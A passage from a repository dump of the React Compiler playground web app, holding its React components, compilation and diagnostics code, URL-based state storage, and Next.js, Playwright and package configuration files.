    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  BanIcon,\n  ExclamationIcon,\n  InformationCircleIcon,\n  XIcon,\n} from '@heroicons/react/solid';\nimport {CustomContentProps, SnackbarContent, useSnackbar} from 'notistack';\nimport {forwardRef} from 'react';\nimport {MessageLevel, MessageSource} from '../lib/stores';\n\n// https://notistack.com/examples/advanced/custom-component#custom-variant-(typescript)\ndeclare module 'notistack' {\n  interface VariantOverrides {\n    message: {\n      title: string;\n      level: MessageLevel;\n      codeframe: string | undefined;\n    };\n  }\n}\n\ninterface MessageProps extends CustomContentProps {\n  title: string;\n  level: MessageLevel;\n  source: MessageSource;\n  codeframe: string | undefined;\n}\n\nconst Message = forwardRef<HTMLDivElement, MessageProps>(\n  ({id, title, level, source, codeframe}, ref) => {\n    const {closeSnackbar} = useSnackbar();\n    const isDismissible = source !== MessageSource.Playground;\n\n    return (\n      <SnackbarContent\n        ref={ref}\n        className=\"flex items-start justify-between gap-3 px-4 py-3 text-sm bg-white border rounded-md shadow w-toast\">\n        <div className=\"flex gap-3 w-toast-body\">\n          {level === MessageLevel.Warning ? (\n            <div className=\"flex items-center justify-center flex-none rounded-md w-7 h-7 bg-amber-100\">\n              <ExclamationIcon className=\"w-5 h-5 text-amber-600\" />\n            </div>\n          ) : level === MessageLevel.Error ? (\n            <div className=\"flex items-center justify-center flex-none bg-red-100 rounded-md w-7 h-7\">\n              <BanIcon className=\"w-5 h-5 text-red-600\" />\n            </div>\n          ) : (\n            <div className=\"flex items-center justify-center flex-none rounded-md bg-sky-100 w-7 h-7\">\n              <InformationCircleIcon className=\"w-5 h-5 text-sky-600\" />\n            </div>\n          )}\n          <div className=\"flex flex-col justify-center gap-1 w-toast-title\">\n            <p className=\"w-full\">{title}</p>\n            {codeframe ? (\n              <pre className=\"overflow-x-auto break-words whitespace-pre-wrap\">\n                <code className=\"text-xs\">{codeframe}</code>\n              </pre>\n            ) : null}\n          </div>\n        </div>\n        {isDismissible ? (\n          <button\n            className=\"flex items-center justify-center flex-none transition-colors duration-150 ease-in rounded-md justify-self-end group w-7 h-7 hover:bg-gray-200\"\n            onClick={() => closeSnackbar(id)}>\n            <XIcon className=\"w-5 h-5 fill-gray-500 group-hover:fill-gray-800\" />\n          </button>\n        ) : null}\n      </SnackbarContent>\n    );\n  },\n);\n\nMessage.displayName = 'MessageComponent';\n\nexport default Message;\n"
  },
  {
    "path": "compiler/apps/playground/components/StoreContext.tsx",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport type {Dispatch, ReactNode} from 'react';\nimport {useState, useEffect, useReducer} from 'react';\nimport createContext from '../lib/createContext';\nimport {emptyStore, defaultStore} from '../lib/defaultStore';\nimport {\n  saveStore,\n  initStoreFromUrlOrLocalStorage,\n  type Store,\n} from '../lib/stores';\n\nconst StoreContext = createContext<Store>();\n\n/**\n * Hook to access the store.\n */\nexport const useStore = StoreContext.useContext;\n\nconst StoreDispatchContext = createContext<Dispatch<ReducerAction>>();\n\n/**\n * Hook to access the store dispatch function.\n */\nexport const useStoreDispatch = StoreDispatchContext.useContext;\n\n/**\n * Make Store and dispatch function available to all sub-components in children.\n */\nexport function StoreProvider({children}: {children: ReactNode}): JSX.Element {\n  const [store, dispatch] = useReducer(storeReducer, emptyStore);\n  const [isPageReady, setIsPageReady] = useState<boolean>(false);\n\n  useEffect(() => {\n    let mountStore: Store;\n    try {\n      mountStore = initStoreFromUrlOrLocalStorage();\n    } catch (e) {\n      console.error('Failed to initialize store from URL or local storage', e);\n      mountStore = defaultStore;\n    }\n    dispatch({type: 'setStore', payload: {store: mountStore}});\n    setIsPageReady(true);\n  }, []);\n\n  useEffect(() => {\n    if (store !== emptyStore) {\n      saveStore(store);\n    }\n  }, [store]);\n\n  return (\n    <StoreContext.Provider value={store}>\n      <StoreDispatchContext.Provider value={dispatch}>\n        {isPageReady ? children : null}\n      </StoreDispatchContext.Provider>\n    </StoreContext.Provider>\n  );\n}\n\ntype ReducerAction =\n  | {\n      type: 'setStore';\n      payload: {\n        store: Store;\n      };\n    }\n  | {\n      type: 'updateSource';\n      payload: {\n        source: string;\n      };\n    }\n  | {\n      type: 'updateConfig';\n      payload: {\n        config: string;\n      };\n    }\n  | {\n      type: 'toggleInternals';\n    };\n\nfunction storeReducer(store: Store, action: ReducerAction): Store {\n  switch (action.type) {\n    case 'setStore': {\n      const newStore = action.payload.store;\n      return newStore;\n    }\n    case 'updateSource': {\n      const source = action.payload.source;\n      const newStore = {\n        ...store,\n        source,\n      };\n      return newStore;\n    }\n    case 'updateConfig': {\n      const config = action.payload.config;\n      const newStore = {\n        ...store,\n        config,\n      };\n      return newStore;\n    }\n    case 'toggleInternals': {\n      const newStore = {\n        ...store,\n        showInternals: !store.showInternals,\n      };\n      return newStore;\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/apps/playground/components/TabbedWindow.tsx",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport React, {\n  startTransition,\n  useId,\n  unstable_ViewTransition as ViewTransition,\n  unstable_addTransitionType as addTransitionType,\n} from 'react';\nimport clsx from 'clsx';\nimport {TOGGLE_TAB_TRANSITION} from '../lib/transitionTypes';\n\nexport default function TabbedWindow({\n  tabs,\n  activeTab,\n  onTabChange,\n}: {\n  tabs: Map<string, React.ReactNode>;\n  activeTab: string;\n  onTabChange: (tab: string) => void;\n}): React.ReactElement {\n  const id = useId();\n  const transitionName = `tab-highlight-${id}`;\n\n  const handleTabChange = (tab: string): void => {\n    startTransition(() => {\n      addTransitionType(TOGGLE_TAB_TRANSITION);\n      onTabChange(tab);\n    });\n  };\n\n  return (\n    <div className=\"flex-1 min-w-[550px] sm:min-w-0\">\n      <div className=\"flex flex-col h-full max-w-full\">\n        <div className=\"flex p-2 flex-shrink-0\">\n          {Array.from(tabs.keys()).map(tab => {\n            const isActive = activeTab === tab;\n            return (\n              <button\n                key={tab}\n                onClick={() => handleTabChange(tab)}\n                className={clsx(\n                  'transition-transform py-1.5 px-1.5 xs:px-3 sm:px-4 rounded-full text-sm relative',\n                  isActive ? 'text-link' : 'hover:bg-primary/5',\n                )}>\n                {isActive && (\n                  <ViewTransition\n                    name={transitionName}\n                    enter={{default: 'none'}}\n                    exit={{default: 'none'}}\n                    share={{\n                      [TOGGLE_TAB_TRANSITION]: 'tab-highlight',\n                      default: 'none',\n                    }}\n                    update={{default: 'none'}}>\n                    <div className=\"absolute inset-0 bg-highlight rounded-full\" />\n                  </ViewTransition>\n                )}\n                <ViewTransition\n                  enter={{default: 'none'}}\n                  exit={{default: 'none'}}\n                  update={{\n                    [TOGGLE_TAB_TRANSITION]: 'tab-text',\n                    default: 'none',\n                  }}>\n                  <span className=\"relative z-1\">{tab}</span>\n                </ViewTransition>\n              </button>\n            );\n          })}\n        </div>\n        <div className=\"flex-1 overflow-hidden w-full h-full\">\n          {tabs.get(activeTab)}\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "compiler/apps/playground/components/index.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport {default as Editor} from './Editor';\nexport {default as Header} from './Header';\nexport {StoreProvider} from './StoreContext';\n"
  },
  {
    "path": "compiler/apps/playground/hooks/index.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport {default as useMountEffect} from './useMountEffect';\n"
  },
  {
    "path": "compiler/apps/playground/hooks/useMountEffect.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport type {EffectCallback} from 'react';\nimport {useEffect} from 'react';\n\nexport default function useMountEffect(effect: EffectCallback) {\n  return useEffect(effect, []);\n}\n"
  },
  {
    "path": "compiler/apps/playground/lib/compilation.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {parse as babelParse, ParseResult} from '@babel/parser';\nimport * as HermesParser from 'hermes-parser';\nimport * as t from '@babel/types';\nimport BabelPluginReactCompiler, {\n  CompilerError,\n  CompilerErrorDetail,\n  CompilerDiagnostic,\n  Effect,\n  ErrorCategory,\n  parseConfigPragmaForTests,\n  ValueKind,\n  type Hook,\n  PluginOptions,\n  CompilerPipelineValue,\n  parsePluginOptions,\n  printReactiveFunctionWithOutlined,\n  printFunctionWithOutlined,\n  type LoggerEvent,\n} from 'babel-plugin-react-compiler';\nimport {transformFromAstSync} from '@babel/core';\nimport JSON5 from 'json5';\nimport type {\n  CompilerOutput,\n  CompilerTransformOutput,\n  PrintedCompilerPipelineValue,\n} from '../components/Editor/Output';\n\nfunction parseInput(\n  input: string,\n  language: 'flow' | 'typescript',\n): ParseResult<t.File> {\n  // Extract the first line to quickly check for custom test directives\n  if (language === 'flow') {\n    return HermesParser.parse(input, {\n      babel: true,\n      flow: 'all',\n      sourceType: 'module',\n      enableExperimentalComponentSyntax: true,\n    });\n  } else {\n    return babelParse(input, {\n      plugins: ['typescript', 'jsx'],\n      sourceType: 'module',\n    }) as ParseResult<t.File>;\n  }\n}\n\nfunction invokeCompiler(\n  source: string,\n  language: 'flow' | 'typescript',\n  options: PluginOptions,\n): CompilerTransformOutput {\n  const ast = parseInput(source, language);\n  let result = transformFromAstSync(ast, source, {\n    filename: '_playgroundFile.js',\n    highlightCode: false,\n    retainLines: true,\n    plugins: [[BabelPluginReactCompiler, options]],\n    ast: true,\n    sourceType: 'module',\n    configFile: false,\n    sourceMaps: true,\n    babelrc: false,\n  });\n  if (result?.ast == null || result?.code == null || result?.map == null) {\n    throw new Error('Expected successful compilation');\n  }\n  return {\n    code: result.code,\n    sourceMaps: result.map,\n    language,\n  };\n}\n\nconst COMMON_HOOKS: Array<[string, Hook]> = [\n  [\n    'useFragment',\n    {\n      valueKind: ValueKind.Frozen,\n      effectKind: Effect.Freeze,\n      noAlias: true,\n      transitiveMixedData: true,\n    },\n  ],\n  [\n    'usePaginationFragment',\n    {\n      valueKind: ValueKind.Frozen,\n      effectKind: Effect.Freeze,\n      noAlias: true,\n      transitiveMixedData: true,\n    },\n  ],\n  [\n    'useRefetchableFragment',\n    {\n      valueKind: ValueKind.Frozen,\n      effectKind: Effect.Freeze,\n      noAlias: true,\n      transitiveMixedData: true,\n    },\n  ],\n  [\n    'useLazyLoadQuery',\n    {\n      valueKind: ValueKind.Frozen,\n      effectKind: Effect.Freeze,\n      noAlias: true,\n      transitiveMixedData: true,\n    },\n  ],\n  [\n    'usePreloadedQuery',\n    {\n      valueKind: ValueKind.Frozen,\n      effectKind: Effect.Freeze,\n      noAlias: true,\n      transitiveMixedData: true,\n    },\n  ],\n];\n\nexport function parseConfigOverrides(configOverrides: string): any {\n  const trimmed = configOverrides.trim();\n  if (!trimmed) {\n    return {};\n  }\n  return JSON5.parse(trimmed);\n}\n\nfunction parseOptions(\n  source: string,\n  mode: 'compiler' | 'linter',\n  configOverrides: string,\n): PluginOptions {\n  // Extract the first line to quickly check for custom test directives\n  const pragma = source.substring(0, source.indexOf('\\n'));\n\n  const parsedPragmaOptions = parseConfigPragmaForTests(pragma, {\n    compilationMode: 'infer',\n    environment:\n      mode === 'linter'\n        ? {\n            // enabled in compiler\n            validateRefAccessDuringRender: false,\n            // enabled in linter\n            validateNoSetStateInRender: true,\n            validateNoSetStateInEffects: true,\n            validateNoJSXInTryStatements: true,\n            validateNoImpureFunctionsInRender: true,\n            validateStaticComponents: true,\n            validateNoFreezingKnownMutableFunctions: true,\n            validateNoVoidUseMemo: true,\n          }\n        : {\n            /* use defaults for compiler mode */\n          },\n  });\n\n  // Parse config overrides from config editor\n  const configOverrideOptions = parseConfigOverrides(configOverrides);\n\n  const opts: PluginOptions = parsePluginOptions({\n    ...parsedPragmaOptions,\n    ...configOverrideOptions,\n    environment: {\n      ...parsedPragmaOptions.environment,\n      ...configOverrideOptions.environment,\n      customHooks: new Map([...COMMON_HOOKS]),\n    },\n  });\n\n  return opts;\n}\n\nexport function compile(\n  source: string,\n  mode: 'compiler' | 'linter',\n  configOverrides: string,\n): [CompilerOutput, 'flow' | 'typescript', PluginOptions | null] {\n  const results = new Map<string, Array<PrintedCompilerPipelineValue>>();\n  const error = new CompilerError();\n  const otherErrors: Array<CompilerErrorDetail | CompilerDiagnostic> = [];\n  const upsert: (result: PrintedCompilerPipelineValue) => void = result => {\n    const entry = results.get(result.name);\n    if (Array.isArray(entry)) {\n      entry.push(result);\n    } else {\n      results.set(result.name, [result]);\n    }\n  };\n  let language: 'flow' | 'typescript';\n  if (source.match(/\\@flow/)) {\n    language = 'flow';\n  } else {\n    language = 'typescript';\n  }\n  let transformOutput;\n\n  let baseOpts: PluginOptions | null = null;\n  try {\n    baseOpts = parseOptions(source, mode, configOverrides);\n  } catch (err) {\n    error.details.push(\n      new CompilerErrorDetail({\n        category: ErrorCategory.Config,\n        reason: `Unexpected failure when transforming configs! \\n${err}`,\n        loc: null,\n        suggestions: null,\n      }),\n    );\n  }\n  if (baseOpts) {\n    try {\n      const logIR = (result: CompilerPipelineValue): void => {\n        switch (result.kind) {\n          case 'ast': {\n            break;\n          }\n          case 'hir': {\n            upsert({\n              kind: 'hir',\n              fnName: result.value.id,\n              name: result.name,\n              value: printFunctionWithOutlined(result.value),\n            });\n            break;\n          }\n          case 'reactive': {\n            upsert({\n              kind: 'reactive',\n              fnName: result.value.id,\n              name: result.name,\n              value: printReactiveFunctionWithOutlined(result.value),\n            });\n            break;\n          }\n          case 'debug': {\n            upsert({\n              kind: 'debug',\n              fnName: null,\n              name: result.name,\n              value: result.value,\n            });\n            break;\n          }\n          default: {\n            const _: never = result;\n            throw new Error(`Unhandled result ${result}`);\n          }\n        }\n      };\n      // Add logger options to the parsed options\n      const opts = {\n        ...baseOpts,\n        logger: {\n          debugLogIRs: logIR,\n          logEvent: (_filename: string | null, event: LoggerEvent): void => {\n            if (event.kind === 'CompileError') {\n              otherErrors.push(event.detail);\n            }\n          },\n        },\n      };\n      transformOutput = invokeCompiler(source, language, opts);\n    } catch (err) {\n      /**\n       * error might be an invariant violation or other runtime error\n       * (i.e. object shape that is not CompilerError)\n       */\n      if (err instanceof CompilerError && err.details.length > 0) {\n        error.merge(err);\n      } else {\n        /**\n         * Handle unexpected failures by logging (to get a stack trace)\n         * and reporting\n         */\n        error.details.push(\n          new CompilerErrorDetail({\n            category: ErrorCategory.Invariant,\n            reason: `Unexpected failure when transforming input! \\n${err}`,\n            loc: null,\n            suggestions: null,\n          }),\n        );\n      }\n    }\n  }\n  // Only include logger errors if there weren't other errors\n  if (!error.hasErrors() && otherErrors.length !== 0) {\n    otherErrors.forEach(e => error.details.push(e));\n  }\n  if (error.hasErrors() || !transformOutput) {\n    return [{kind: 'err', results, error}, language, baseOpts];\n  }\n  return [\n    {kind: 'ok', results, transformOutput, errors: error.details},\n    language,\n    baseOpts,\n  ];\n}\n"
  },
  {
    "path": "compiler/apps/playground/lib/createContext.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport React from 'react';\n\n/**\n * Replacement to React.createContext.\n *\n * Does not take any default value and avoids non-null assertions when using\n * the value of the context, like the following scenario.\n *\n * ```ts\n * const StoreDispatchContext = useContext<Dispatch<ReducerAction>>(null);\n * const dispatchStore = useContext(StoreDispatchContext);\n * ...\n * dipatchStore!({ ... });\n * ```\n *\n * Instead, it throws an error when `useContext` is not called within a\n * Provider with a value.\n */\nexport default function createContext<T>(): {\n  useContext: () => NonNullable<T>;\n  Provider: React.Provider<T | null>;\n} {\n  const context = React.createContext<T | null>(null);\n\n  function useContext(): NonNullable<T> {\n    const c = React.useContext(context);\n    if (!c)\n      throw new Error('useContext must be within a Provider with a value');\n    return c;\n  }\n\n  return {useContext, Provider: context.Provider};\n}\n"
  },
  {
    "path": "compiler/apps/playground/lib/defaultStore.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport type {Store} from './stores';\n\nconst index = `\\\nexport default function MyApp() {\n  return <div>Hello World</div>;\n}\n`;\n\nexport const defaultConfig = `\\\n{\n  //compilationMode: \"all\"\n}`;\n\nexport const defaultStore: Store = {\n  source: index,\n  config: defaultConfig,\n  showInternals: false,\n};\n\nexport const emptyStore: Store = {\n  source: '',\n  config: '',\n  showInternals: false,\n};\n"
  },
  {
    "path": "compiler/apps/playground/lib/reactCompilerMonacoDiagnostics.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {Monaco} from '@monaco-editor/react';\nimport {\n  CompilerDiagnostic,\n  CompilerErrorDetail,\n  ErrorSeverity,\n} from 'babel-plugin-react-compiler';\nimport {MarkerSeverity, type editor} from 'monaco-editor';\n\nfunction mapReactCompilerSeverityToMonaco(\n  level: ErrorSeverity,\n  monaco: Monaco,\n): MarkerSeverity {\n  switch (level) {\n    case ErrorSeverity.Todo:\n      return monaco.MarkerSeverity.Warning;\n    default:\n      return monaco.MarkerSeverity.Error;\n  }\n}\n\nfunction mapReactCompilerDiagnosticToMonacoMarker(\n  detail: CompilerErrorDetail | CompilerDiagnostic,\n  monaco: Monaco,\n  source: string,\n): editor.IMarkerData | null {\n  const loc = detail.primaryLocation();\n  if (loc == null || typeof loc === 'symbol') {\n    return null;\n  }\n  const severity = mapReactCompilerSeverityToMonaco(detail.severity, monaco);\n  let message = detail.printErrorMessage(source, {eslint: true});\n  return {\n    severity,\n    message,\n    startLineNumber: loc.start.line,\n    startColumn: loc.start.column + 1,\n    endLineNumber: loc.end.line,\n    endColumn: loc.end.column + 1,\n  };\n}\n\ntype ReactCompilerMarkerConfig = {\n  monaco: Monaco;\n  model: editor.ITextModel;\n  details: Array<CompilerErrorDetail | CompilerDiagnostic>;\n  source: string;\n};\nlet decorations: Array<string> = [];\nexport function renderReactCompilerMarkers({\n  monaco,\n  model,\n  details,\n  source,\n}: ReactCompilerMarkerConfig): void {\n  const markers: Array<editor.IMarkerData> = [];\n  for (const detail of details) {\n    const marker = mapReactCompilerDiagnosticToMonacoMarker(\n      detail,\n      monaco,\n      source,\n    );\n    if (marker == null) {\n      continue;\n    }\n    markers.push(marker);\n  }\n  if (markers.length > 0) {\n    monaco.editor.setModelMarkers(model, 'owner', markers);\n    const newDecorations = markers.map(marker => {\n      return {\n        range: new monaco.Range(\n          marker.startLineNumber,\n          marker.startColumn,\n          marker.endLineNumber,\n          marker.endColumn,\n        ),\n        options: {\n          isWholeLine: true,\n          glyphMarginClassName: 'bg-red-300',\n        },\n      };\n    });\n    decorations = model.deltaDecorations(decorations, newDecorations);\n  } else {\n    monaco.editor.setModelMarkers(model, 'owner', []);\n    decorations = model.deltaDecorations(\n      model.getAllDecorations().map(d => d.id),\n      [],\n    );\n  }\n}\n"
  },
  {
    "path": "compiler/apps/playground/lib/stores/index.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport * from './messages';\nexport * from './store';\n"
  },
  {
    "path": "compiler/apps/playground/lib/stores/messages.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport enum MessageSource {\n  Babel,\n  Forget,\n  Playground,\n}\n\nexport enum MessageLevel {\n  Info,\n  Warning,\n  Error,\n}\n\nexport interface Message {\n  title: string;\n  level: MessageLevel;\n  source: MessageSource; // Can be used to further style messages differently.\n  codeframe: string | undefined;\n}\n\nexport function createMessage(\n  message: string,\n  level: MessageLevel,\n  source: MessageSource,\n): Message {\n  const [title, ...body] = message.split('\\n');\n  const codeframe = body.length > 0 ? body.join('\\n') : undefined;\n\n  return {\n    source,\n    level,\n    title,\n    codeframe,\n  };\n}\n"
  },
  {
    "path": "compiler/apps/playground/lib/stores/store.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport invariant from 'invariant';\nimport {\n  compressToEncodedURIComponent,\n  decompressFromEncodedURIComponent,\n} from 'lz-string';\nimport {defaultStore, defaultConfig} from '../defaultStore';\n\n/**\n * Global Store for Playground\n */\nexport interface Store {\n  source: string;\n  config: string;\n  showInternals: boolean;\n}\nexport function encodeStore(store: Store): string {\n  return compressToEncodedURIComponent(JSON.stringify(store));\n}\nexport function decodeStore(hash: string): any {\n  return JSON.parse(decompressFromEncodedURIComponent(hash));\n}\n\n/**\n * Serialize, encode, and save @param store to localStorage and update URL.\n */\nexport function saveStore(store: Store): void {\n  const hash = encodeStore(store);\n  localStorage.setItem('playgroundStore', hash);\n  history.replaceState({}, '', `#${hash}`);\n}\n\n/**\n * Check if @param raw is a valid Store by if\n * - it has a `source` property and is a string\n */\nfunction isValidStore(raw: unknown): raw is Store {\n  return (\n    raw != null &&\n    typeof raw == 'object' &&\n    'source' in raw &&\n    typeof raw['source'] === 'string'\n  );\n}\n\n/**\n * Deserialize, decode, and initialize @param store from URL and then\n * localStorage. Throw an error if Store is malformed.\n */\nexport function initStoreFromUrlOrLocalStorage(): Store {\n  const encodedSourceFromUrl = location.hash.slice(1);\n  const encodedSourceFromLocal = localStorage.getItem('playgroundStore');\n  const encodedSource = encodedSourceFromUrl || encodedSourceFromLocal;\n\n  /**\n   * No data in the URL and no data in the localStorage to fallback to.\n   * Initialize with the default store.\n   */\n  if (!encodedSource) return defaultStore;\n\n  const raw: any = decodeStore(encodedSource);\n\n  invariant(isValidStore(raw), 'Invalid Store');\n\n  // Make sure all properties are populated\n  return {\n    source: raw.source,\n    config: 'config' in raw && raw['config'] ? raw.config : defaultConfig,\n    showInternals: 'showInternals' in raw ? raw.showInternals : false,\n  };\n}\n"
  },
  {
    "path": "compiler/apps/playground/lib/transitionTypes.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport const CONFIG_PANEL_TRANSITION = 'config-panel';\nexport const TOGGLE_TAB_TRANSITION = 'toggle-tab';\nexport const TOGGLE_INTERNALS_TRANSITION = 'toggle-internals';\nexport const EXPAND_ACCORDION_TRANSITION = 'open-accordion';\n"
  },
  {
    "path": "compiler/apps/playground/lib/types.d.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// v0.17.1\ndeclare module \"hermes-parser\" {\n  type HermesParserOptions = {\n    allowReturnOutsideFunction?: boolean;\n    babel?: boolean;\n    flow?: \"all\" | \"detect\";\n    enableExperimentalComponentSyntax?: boolean;\n    sourceFilename?: string;\n    sourceType?: \"module\" | \"script\" | \"unambiguous\";\n    tokens?: boolean;\n  };\n  export function parse(code: string, options: Partial<HermesParserOptions>);\n}\n"
  },
  {
    "path": "compiler/apps/playground/next.config.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nconst MonacoWebpackPlugin = require('monaco-editor-webpack-plugin');\nconst path = require('path');\n\nconst nextConfig = {\n  experimental: {\n    reactCompiler: true,\n    viewTransition: true,\n  },\n  reactStrictMode: true,\n  webpack: (config, options) => {\n    // Load *.d.ts files as strings using https://webpack.js.org/guides/asset-modules/#source-assets.\n    config.module.rules.push({\n      test: /\\.d\\.ts/,\n      type: 'asset/source',\n    });\n\n    // Monaco Editor\n    if (!options.isServer) {\n      config.plugins.push(\n        new MonacoWebpackPlugin({\n          languages: ['typescript', 'javascript'],\n          filename: 'static/[name].worker.js',\n        })\n      );\n    }\n\n    config.resolve.alias = {\n      ...config.resolve.alias,\n      'react-compiler-runtime': path.resolve(\n        __dirname,\n        '../../packages/react-compiler-runtime'\n      ),\n    };\n    config.resolve.fallback = {\n      fs: false,\n      path: false,\n      os: false,\n    };\n\n    return config;\n  },\n\n  transpilePackages: ['monaco-editor'],\n};\n\nmodule.exports = nextConfig;\n"
  },
  {
    "path": "compiler/apps/playground/package.json",
    "content": "{\n  \"name\": \"playground\",\n  \"version\": \"0.1.0\",\n  \"private\": true,\n  \"scripts\": {\n    \"dev\": \"cd ../.. && concurrently --kill-others -n compiler,runtime,playground \\\"yarn workspace babel-plugin-react-compiler run watch\\\" \\\"yarn workspace react-compiler-runtime run watch\\\" \\\"wait-on packages/babel-plugin-react-compiler/dist/index.js && cd apps/playground && NODE_ENV=development next dev\\\"\",\n    \"build:compiler\": \"cd ../.. && concurrently -n compiler,runtime \\\"yarn workspace babel-plugin-react-compiler run build --dts\\\" \\\"yarn workspace react-compiler-runtime run build\\\"\",\n    \"build\": \"yarn build:compiler && next build\",\n    \"postbuild\": \"node ./scripts/downloadFonts.js\",\n    \"preinstall\": \"cd ../.. && yarn install --frozen-lockfile\",\n    \"postinstall\": \"./scripts/link-compiler.sh\",\n    \"vercel-build\": \"yarn build\",\n    \"start\": \"next start\",\n    \"lint\": \"next lint\",\n    \"test\": \"playwright test --workers=4\"\n  },\n  \"dependencies\": {\n    \"@babel/core\": \"^7.18.9\",\n    \"@babel/generator\": \"^7.18.9\",\n    \"@babel/parser\": \"^7.18.9\",\n    \"@babel/plugin-syntax-typescript\": \"^7.18.9\",\n    \"@babel/plugin-transform-block-scoping\": \"^7.18.9\",\n    \"@babel/plugin-transform-modules-commonjs\": \"^7.18.9\",\n    \"@babel/preset-react\": \"^7.18.9\",\n    \"@babel/preset-typescript\": \"^7.26.0\",\n    \"@babel/traverse\": \"^7.18.9\",\n    \"@babel/types\": \"7.26.3\",\n    \"@heroicons/react\": \"^1.0.6\",\n    \"@monaco-editor/react\": \"^4.8.0-rc.2\",\n    \"@playwright/test\": \"^1.56.1\",\n    \"@use-gesture/react\": \"^10.2.22\",\n    \"hermes-eslint\": \"^0.25.0\",\n    \"hermes-parser\": \"^0.25.0\",\n    \"invariant\": \"^2.2.4\",\n    \"json5\": \"^2.2.3\",\n    \"lru-cache\": \"^11.2.2\",\n    \"lz-string\": \"^1.5.0\",\n    \"monaco-editor\": \"^0.52.0\",\n    \"next\": \"15.5.9\",\n    \"notistack\": \"^3.0.0-alpha.7\",\n    \"prettier\": \"^3.3.3\",\n    \"pretty-format\": \"^29.3.1\",\n    \"re-resizable\": \"^6.9.16\",\n    \"react\": \"19.2.3\",\n    \"react-dom\": \"19.2.3\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"18.11.9\",\n    \"@types/react\": \"19.2\",\n    \"@types/react-dom\": \"19.2\",\n    \"autoprefixer\": \"^10.4.13\",\n    \"clsx\": \"^1.2.1\",\n    \"concurrently\": \"^7.4.0\",\n    \"eslint\": \"^8.28.0\",\n    \"eslint-config-next\": \"15.5.2\",\n    \"monaco-editor-webpack-plugin\": \"^7.1.0\",\n    \"postcss\": \"^8.4.31\",\n    \"tailwindcss\": \"^3.2.4\",\n    \"wait-on\": \"^7.2.0\"\n  },\n  \"resolutions\": {\n    \"@types/react\": \"19.2\",\n    \"@types/react-dom\": \"19.2\"\n  }\n}\n"
  },
  {
    "path": "compiler/apps/playground/playwright.config.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {defineConfig, devices} from '@playwright/test';\nimport path from 'path';\n\n// Use process.env.PORT by default and fallback to port 3000\nconst PORT = process.env.PORT || 3000;\n\n// Set webServer.url and use.baseURL with the location of the WebServer respecting the correct set port\nconst baseURL = `http://localhost:${PORT}`;\n\n// Reference: https://playwright.dev/docs/test-configuration\nexport default defineConfig({\n  // Timeout per test\n  timeout: 30 * 1000,\n  // Run all tests in parallel.\n  fullyParallel: true,\n  // Test directory\n  testDir: path.join(__dirname, '__tests__/e2e'),\n  // If a test fails, retry it additional 2 times\n  retries: 3,\n  // Artifacts folder where screenshots, videos, and traces are stored.\n  outputDir: 'test-results/',\n  // Note: we only use text snapshots, so its safe to omit the host environment name\n  snapshotPathTemplate: '{testDir}/__snapshots__/{testFilePath}/{arg}{ext}',\n\n  // Run your local dev server before starting the tests:\n  // https://playwright.dev/docs/test-advanced#launching-a-development-web-server-during-the-tests\n  webServer: {\n    command: 'yarn dev',\n    url: baseURL,\n    timeout: 300 * 1000,\n    reuseExistingServer: !process.env.CI,\n  },\n\n  // 'github' for GitHub Actions CI to generate annotations, plus a concise 'dot'\n  // default 'list' when running locally\n  reporter: process.env.CI ? 'github' : 'list',\n\n  use: {\n    // Use baseURL so to make navigations relative.\n    // More information: https://playwright.dev/docs/api/class-testoptions#test-options-base-url\n    baseURL,\n\n    // Retry a test if its failing with enabled tracing. This allows you to analyze the DOM, console logs, network traffic etc.\n    // More information: 